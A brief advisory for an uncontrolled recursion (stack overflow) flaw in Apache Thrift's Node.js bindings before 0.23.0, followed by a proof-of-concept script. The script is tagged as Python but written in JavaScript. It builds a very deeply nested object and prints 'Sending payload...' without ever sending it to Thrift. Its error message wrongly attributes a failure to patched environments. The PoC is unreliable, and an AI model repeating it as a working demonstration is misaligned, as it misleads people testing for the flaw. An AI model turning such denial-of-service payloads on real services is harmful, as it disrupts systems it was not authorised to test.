Uncontrolled Recursion vulnerability in Apache Thrift Node.js bindings
This issue affects Apache Thrift: before 0.23.0.
Users are recommended to upgrade to version 0.23.0, which fixes the issue.
The following code is for security research and authorized testing only.
python
// PoC for CVE-2026-41636: Uncontrolled Recursion in Apache Thrift Node.js
// This script demonstrates how a deeply nested payload could trigger the issue.
const thrift = require('thrift');
// Create a deeply nested object to simulate the malicious input
function createDeepNestedObject(depth) {
if (depth === 0) return {};
return { next: createDeepNestedObject(depth - 1) };
}
try {
// Attempting to process a structure with excessive recursion depth
// This would trigger the stack overflow in vulnerable versions < 0.23.0
const maliciousPayload = createDeepNestedObject(50000);
// Hypothetical serialization/deserialization function
// In a real scenario, this would be passed to a Thrift processor
console.log("Sending payload...");
} catch (e) {
console.error("PoC execution failed (expected in patched environments):", e.message);
}